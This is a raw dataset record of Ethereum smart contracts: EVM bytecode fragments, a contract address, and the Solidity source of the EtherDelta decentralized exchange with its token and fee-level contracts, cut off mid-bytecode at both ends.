c8565b73ffffffffffffffffffffffffffffffffffffffff166108a161083b565b73ffffffffffffffffffffffffffffffffffffffff16146108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611d90565b73ffffffffffffffffffffffffffffffffffffffff811661093b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611c20565b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b3390565b73ffffffffffffffffffffffffffffffffffffffff811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14919050565b6040805160008082526020820190925273ffffffffffffffffffffffffffffffffffffffff8416908390604051610a359190611852565b60006040518083038185875af1925050503d8060008114610a72576040519150601f19603f3d011682016040523d82523d6000602084013e610a77565b606091505b5050905080610ab2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611e33565b505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401610ae9929190611a87565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610b379190611852565b6000604051808303816000865af19150503d8060008114610b74576040519150601f19603f3d011682016040523d82523d6000602084013e610b79565b606091505b5091509150818015610ba3575080511580610ba3575080806020019051810190610ba39190611738565b610bd9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611bb2565b5050505050565b60e0811415610de8576000808573ffffffffffffffffffffffffffffffffffffffff1663d505accf60e01b8585604051602001610c1f93929190611816565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815290829052610c5791611852565b6000604051808303816000865af19150503d8060008114610c94576040519150601f19603f3d011682016040523d82523d6000602084013e610c99565b606091505b509150915081610de5576000610ce4826040518060400160405280601481526020017f5065726d69742063616c6c206661696c65643a20000000000000000000000000815250610feb565b9050858773ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401610d229291906119e8565b60206040518083038186803b158015610d3a57600080fd5b505afa158015610d4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7291906117fe565b1015610dac57806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc9190611b2a565b7f08c379a0afcc32b1a39302f7cb8073359698411ab5fd6e3edb2c02c0b5fba8aa81604051610ddb9190611b2a565b60405180910390a1505b50505b50505050565b6000808573ffffffffffffffffffffffffffffffffffffffff166323b872dd868686604051602401610e2293929190611a56565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610e709190611852565b6000604051808303816000865af19150503d8060008114610ead576040519150601f19603f3d011682016040523d82523d6000602084013e610eb2565b606091505b5091509150818015610edc575080511580610edc575080806020019051810190610edc9190611738565b610de5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611e90565b6000610f1d836109cc565b15610f40575073ffffffffffffffffffffffffffffffffffffffff811631610fe5565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8416906370a0823190610f929085906004016119c7565b60206040518083038186803b158015610faa57600080fd5b505afa158015610fbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe291906117fe565b90505b92915050565b6060604483511015801561105257508260008151811061100757fe5b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167f0800000000000000000000000000000000000000000000000000000000000000145b80156110b157508260018151811061106657fe5b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167fc300000000000000000000000000000000000000000000000000000000000000145b80156111105750826002815181106110c557fe5b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167f7900000000000000000000000000000000000000000000000000000000000000145b801561116f57508260038151811061112457fe5b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167fa000000000000000000000000000000000000000000000000000000000000000145b156111e55760606044840190508051604401845110156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611dfc565b82816040516020016111ce929190611972565b604051602081830303815290604052915050610fe5565b825160241480156112495750826000815181106111fe57fe5b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167f4e00000000000000000000000000000000000000000000000000000000000000145b80156112a857508260018151811061125d57fe5b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167f4800000000000000000000000000000000000000000000000000000000000000145b80156113075750826002815181106112bc57fe5b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167f7b00000000000000000000000000000000000000000000000000000000000000145b801561136657508260038151811061131b57fe5b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167f7100000000000000000000000000000000000000000000000000000000000000145b1561138b5760248301518261137a82611488565b6040516020016111ce92919061186e565b81611395846114ae565b6040516020016113a69291906118f0565b604051602081830303815290604052905092915050565b80820382811115610fe5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611b7b565b80820182811015610fe5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611cb4565b60008115806114525750508082028282828161144f57fe5b04145b610fe5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611c7d565b6060610fe58260405160200161149e91906119be565b6040516020818303038152906040525b80516060907f30313233343536373839616263646566000000000000000000000000000000009060009060029081020167ffffffffffffffff811180156114f457600080fd5b506040519080825280601f01601f19166020018201604052801561151f576020820181803683370190505b5090507f30000000000000000000000000000000000000000000000000000000000000008160008151811061155057fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106115ad57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060005b84518110156116e2578260048683815181106115f757fe5b01602001517fff0000000000000000000000000000000000000000000000000000000000000016901c60f81c6010811061162d57fe5b1a60f81b82826002026002018151811061164357fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508285828151811061167f57fe5b60209101015160f81c600f166010811061169557fe5b1a60f81b8282600202600301815181106116ab57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506001016115df565b509392505050565b6000602082840312156116fb578081fd5b813561170681611f83565b9392505050565b6000806040838503121561171f578081fd5b823561172a81611f83565b946020939093013593505050565b600060208284031215611749578081fd5b81518015158114611706578182fd5b6000806000806060858703121561176d578182fd5b843561177881611f83565b9350602085013567ffffffffffffffff80821115611794578384fd5b9086019061010082890312156117a8578384fd5b909350604086013590808211156117bd578384fd5b818701915087601f8301126117d0578384fd5b8135818111156117de578485fd5b8860208285010111156117ef578485fd5b95989497505060200194505050565b60006020828403121561180f578081fd5b5051919050565b60007fffffffff000000000000000000000000000000000000000000000000000000008516825282846004840137910160040190815292915050565b60008251611864818460208701611f57565b9190910192915050565b60008351611880818460208801611f57565b7f50616e696328000000000000000000000000000000000000000000000000000090830190815283516118ba816006840160208801611f57565b7f290000000000000000000000000000000000000000000000000000000000000060069290910191820152600701949350505050565b60008351611902818460208801611f57565b7f556e6b6e6f776e28000000000000000000000000000000000000000000000000908301908152835161193c816008840160208801611f57565b7f290000000000000000000000000000000000000000000000000000000000000060089290910191820152600901949350505050565b60008351611984818460208801611f57565b7f4572726f7228000000000000000000000000000000000000000000000000000090830190815283516118ba816006840160208801611f57565b90815260200190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff96871681529486166020860152928516604085015293166060830152608082019290925260a081019190915260c00190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff93841681526020810192909252909116604082015260600190565b60006020825282602083015282846040840137818301604090810191909152601f9092017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160101919050565b6000602082528251806020840152611b49816040850160208701611f57565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60208082526015908201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604082015260600190565b6020808252601f908201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604082015260600190565b60208082526012908201527f436c61696d20746f6b656e206973204554480000000000000000000000000000604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201527f6464726573730000000000000000000000000000000000000000000000000000606082015260800190565b60208082526014908201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604082015260600190565b60208082526014908201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604082015260600190565b60208082526011908201527f496e76616c6964206d73672e76616c7565000000000000000000000000000000604082015260600190565b6020808252601b908201527f52657475726e20616d6f756e74206973206e6f7420656e6f7567680000000000604082015260600190565b6020808252601a908201527f4d696e2072657475726e2073686f756c64206e6f742062652030000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526017908201527f646174612073686f756c64206265206e6f74207a65726f000000000000000000604082015260600190565b60208082526015908201527f496e76616c69642072657665727420726561736f6e0000000000000000000000604082015260600190565b60208082526023908201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960408201527f4c45440000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526024908201527f5472616e7366657248656c7065723a205452414e534645525f46524f4d5f464160408201527f494c454400000000000000000000000000000000000000000000000000000000606082015260800190565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112611f21578283fd5b83018035915067ffffffffffffffff821115611f3b578283fd5b602001915036819003821315611f5057600080fd5b9250929050565b60005b83811015611f72578181015183820152602001611f5a565b83811115610de85750506000910152565b73ffffffffffffffffffffffffffffffffffffffff81168114611fa557600080fd5b5056fea2646970667358221220b35595226045d97544539f78e03481c4fad23be8e5ac73398f0678c83ab2db4e64736f6c63430007060033
{"success": true, "error": null, "results": {}}
4,801
0x3115b83af820875cc1128f987eda32150f056d71
pragma solidity ^0.4.9; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can&#39;t be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn&#39;t wrap. //Replace the if with this one instead. if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ReserveToken is StandardToken, SafeMath { address public minter; function ReserveToken() { minter = msg.sender; } function create(address account, uint amount) { if (msg.sender != minter) throw; balances[account] = safeAdd(balances[account], amount); totalSupply = safeAdd(totalSupply, amount); } function destroy(address account, uint amount) { if (msg.sender != minter) throw; if (balances[account] < amount) throw; balances[account] = safeSub(balances[account], amount); totalSupply = safeSub(totalSupply, amount); } } contract AccountLevels { //given a user, returns an account level //0 = regular user (pays take fee and make fee) //1 = market maker silver (pays take fee, no make fee, gets rebate) //2 = market maker gold (pays take fee, no make fee, gets entire counterparty&#39;s take fee as rebate) function accountLevel(address user) constant returns(uint) {} } contract AccountLevelsTest is AccountLevels { mapping (address => uint) public accountLevels; function setAccountLevel(address user, uint level) { accountLevels[user] = level; } function accountLevel(address user) constant returns(uint) { return accountLevels[user]; } } contract EtherDelta is SafeMath { address public admin; //the admin address address public feeAccount; //the account that will receive fees address public accountLevelsAddr; //the address of the AccountLevels contract uint public feeMake; //percentage times (1 ether) uint public feeTake; //percentage times (1 ether) uint public feeRebate; //percentage times (1 ether) mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature) mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled) event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); function EtherDelta(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) { admin = admin_; feeAccount = feeAccount_; accountLevelsAddr = accountLevelsAddr_; feeMake = feeMake_; feeTake = feeTake_; feeRebate = feeRebate_; } function() { throw; } function changeAdmin(address admin_) { if (msg.sender != admin) throw; admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) { if (msg.sender != admin) throw; accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) { if (msg.sender != admin) throw; feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) { if (msg.sender != admin) throw; if (feeMake_ > feeMake) throw; feeMake = feeMake_; } function changeFeeTake(uint feeTake_) { if (msg.sender != admin) throw; if (feeTake_ > feeTake || feeTake_ < feeRebate) throw; feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) { if (msg.sender != admin) throw; if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw; feeRebate = feeRebate_; } function deposit() payable { tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) { if (tokens[0][msg.sender] < amount) throw; tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); if (!msg.sender.call.value(amount)()) throw; Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) { //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. if (token==0) throw; if (!Token(token).transferFrom(msg.sender, this, amount)) throw; tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) { if (token==0) throw; if (tokens[token][msg.sender] < amount) throw; tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); if (!Token(token).transfer(msg.sender, amount)) throw; Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) constant returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); orders[msg.sender][hash] = true; Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { //amount is in amountGet terms bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires && safeAdd(orderFills[user][hash], amount) <= amountGet )) throw; tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); uint feeRebateXfer = 0; if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; } tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires )) return 0; uint available1 = safeSub(amountGet, orderFills[user][hash]); uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; if (available1<available2) return available1; return available2; } function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); return orderFills[user][hash]; } function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw; orderFills[msg.sender][hash] = amountGet; Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s); } }
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a19b14a146101665780630b9276661461024457806319774d43146102cf578063278b8c0e146103345780632e1a7d4d146103e8578063338b5dea1461041557806346be96c314610462578063508493bc1461054a57806354d03b5c146105c157806357786394146105ee5780635e1d7ae41461061957806365e17c9d146106465780636c86888b1461069d57806371ffcb16146107b3578063731c2f81146107f65780638823a9c0146108215780638f2839701461084e5780639e281a9814610891578063bb5f4629146108de578063c281309e14610947578063d0e30db014610972578063e8f6bc2e1461097c578063f3412942146109bf578063f7888aec14610a16578063f851a44014610a8d578063fb6e155f14610ae4575b34801561016057600080fd5b50600080fd5b34801561017257600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035600019169060200190929190803560001916906020019092919080359060200190929190505050610bcc565b005b34801561025057600080fd5b506102cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001909291905050506110e1565b005b3480156102db57600080fd5b5061031e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050611380565b6040518082815260200191505060405180910390f35b34801561034057600080fd5b506103e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803560ff169060200190929190803560001916906020019092919080356000191690602001909291905050506113a5565b005b3480156103f457600080fd5b50610413600480360381019080803590602001909291905050506117cd565b005b34801561042157600080fd5b50610460600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a4c565b005b34801561046e57600080fd5b50610534600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050611dba565b6040518082815260200191505060405180910390f35b34801561055657600080fd5b506105ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f5f565b6040518082815260200191505060405180910390f35b3480156105cd57600080fd5b506105ec60048036038101908080359060200190929190505050611f84565b005b3480156105fa57600080fd5b50610603611ff8565b6040518082815260200191505060405180910390f35b34801561062557600080fd5b5061064460048036038101908080359060200190929190505050611ffe565b005b34801561065257600080fd5b5061065b61207e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106a957600080fd5b50610799600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035600019169060200190929190803560001916906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120a4565b604051808215151515815260200191505060405180910390f35b3480156107bf57600080fd5b506107f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612167565b005b34801561080257600080fd5b5061080b612206565b6040518082815260200191505060405180910390f35b34801561082d57600080fd5b5061084c6004803603810190808035906020019092919050505061220c565b005b34801561085a57600080fd5b5061088f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061228c565b005b34801561089d57600080fd5b506108dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061232a565b005b3480156108ea57600080fd5b5061092d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080356000191690602001909291905050506126ed565b604051808215151515815260200191505060405180910390f35b34801561095357600080fd5b5061095c61271c565b6040518082815260200191505060405180910390f35b61097a612722565b005b34801561098857600080fd5b506109bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128f6565b005b3480156109cb57600080fd5b506109d4612995565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a2257600080fd5b50610a77600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129bb565b6040518082815260200191505060405180910390f35b348015610a9957600080fd5b50610aa2612a42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610af057600080fd5b50610bb6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050612a67565b6040518082815260200191505060405180910390f35b60006002308d8d8d8d8d8d604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015610cde573d6000803e3d6000fd5b5050506040513d6020811015610cf357600080fd5b81019080805190602001909291905050509050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff1680610e6757508573ffffffffffffffffffffffffffffffffffffffff1660018260405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020878787604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015610e45573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b8015610e735750874311155b8015610ee057508a610edd600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084600019166000191681526020019081526020016000205484612e3d565b11155b1515610eeb57600080fd5b610ef98c8c8c8c8a87612e67565b610f5b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083600019166000191681526020019081526020016000205483612e3d565b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360001916600019168152602001908152602001600020819055507f6effdda786735d5033bfad5f53e5131abcced9e52be6c507b62d639685fbed6d8c838c8e868e02811515610fe857fe5b048a33604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001965050505050505060405180910390a1505050505050505050505050565b6000600230888888888888604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af11580156111f3573d6000803e3d6000fd5b5050506040513d602081101561120857600080fd5b810190808051906020019092919050505090506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055507f3f7f2eda73683c21a15f9435af1028c93185b5f1fa38270762dc32be606b3e8587878787878733604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200197505050505050505060405180910390a150505050505050565b6008602052816000526040600020602052806000526040600020600091509150505481565b60006002308b8b8b8b8b8b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af11580156114b7573d6000803e3d6000fd5b5050506040513d60208110156114cc57600080fd5b81019080805190602001909291905050509050600760003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffff